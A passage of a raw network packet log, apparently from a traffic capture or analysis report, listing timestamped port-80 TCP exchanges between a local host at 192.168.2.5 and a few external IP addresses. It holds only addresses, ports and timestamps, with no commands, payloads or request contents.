Oct 24, 2024 08:38:44.386482000 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386497974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386512995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386569023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386584044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386598110 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386647940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386662960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386677980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386714935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386729956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386778116 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386831999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386847019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386887074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.386980057 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.387461901 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.425896883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.425926924 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.425946951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.425954103 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.425988913 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.426004887 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.426007986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426023960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426040888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426055908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426071882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426129103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426158905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426175117 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426189899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426208019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426213026 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.426292896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426309109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426323891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426338911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.426367998 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.426389933 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.464943886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.464958906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.464986086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.465002060 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.465012074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.465017080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.465033054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.465055943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.465079069 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.489936113 CEST	61033	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:44.490250111 CEST	61042	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:44.495809078 CEST	80	61042	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:44.495887995 CEST	61042	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:44.496023893 CEST	61042	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:44.496423960 CEST	80	61033	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:44.496478081 CEST	61033	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:44.499989986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500015974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500032902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500049114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500049114 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.500072002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500076056 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.500089884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500109911 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.500119925 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.500137091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500153065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500170946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500251055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500264883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500279903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500324965 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500339985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500364065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500397921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.500428915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.500519037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500538111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500612974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500627995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500643015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500662088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500677109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500709057 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.500716925 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500735044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500740051 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.500775099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500790119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500878096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500919104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.500935078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501034021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501034975 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501049995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501065016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501080990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501096964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501111984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501127005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501148939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501166105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501188040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501205921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501229048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501245022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501266003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501281023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501292944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501342058 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501421928 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501440048 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501444101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501460075 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501482964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501497030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501497984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501513958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501529932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501538992 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501544952 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501565933 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501590967 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501616955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501674891 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501756907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501773119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501787901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501804113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501816034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501816034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501820087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501836061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501840115 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501852989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501863956 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501869917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501884937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501888990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501907110 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501926899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501934052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501949072 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501965046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501967907 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501981020 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.501991034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.501997948 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.502005100 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.502023935 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.502044916 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.502116919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.502130985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.502146006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.502163887 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.502188921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.502233028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.502249002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.502263069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.502271891 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.502278090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.502290010 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.502307892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.502309084 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.502321005 CEST	80	61042	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:44.502360106 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.538613081 CEST	61043	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:44.541321039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541346073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541362047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541465998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541486979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541522980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541538000 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541553020 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541574955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541589975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541604996 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541620016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541634083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541649103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541677952 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541682959 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.541702032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541718960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541733980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541738987 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.541754961 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.541755915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.541779041 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.541806936 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.544006109 CEST	80	61043	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:44.544838905 CEST	61043	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:44.544917107 CEST	61043	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:44.550553083 CEST	80	61043	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:44.580291986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.580346107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.580364943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.580374002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.580385923 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.580389977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.580405951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.580411911 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.580421925 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.580666065 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.615386963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615421057 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615447044 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.615447998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615467072 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615473986 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.615483999 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.615484953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615504026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615510941 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.615531921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615546942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615560055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615581989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615597010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615611076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615628004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615648985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615742922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615756035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615771055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615786076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615791082 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.615801096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615817070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615834951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.615875959 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615889072 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615902901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.615936995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616003990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616019011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616045952 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616060972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616090059 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616103888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616120100 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616136074 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616152048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616214037 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616215944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616231918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616261005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616276026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616291046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616354942 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616363049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616375923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616403103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616405010 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616430044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616445065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616453886 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616458893 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616473913 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616475105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616489887 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616518974 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616529942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616578102 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616585016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616599083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616643906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616658926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616673946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616734982 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616764069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616779089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616792917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616808891 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616822004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616836071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616837025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616851091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616858959 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616867065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616883039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616889954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616914034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616935968 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.616936922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.616980076 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617022038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617036104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617050886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617059946 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617067099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617074013 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617090940 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617113113 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617161989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617176056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617197990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617197990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617222071 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617233038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617239952 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617249966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617264986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617273092 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617280960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617289066 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617296934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617312908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617315054 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617326021 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617328882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617352009 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617374897 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617453098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617491961 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617538929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617553949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617568016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617578983 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617592096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617598057 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617608070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.617628098 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.617650986 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.656610012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656642914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656672955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656678915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.656689882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656702995 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.656708002 CEST	80	61014	185.215.113.37	192.168.2.5
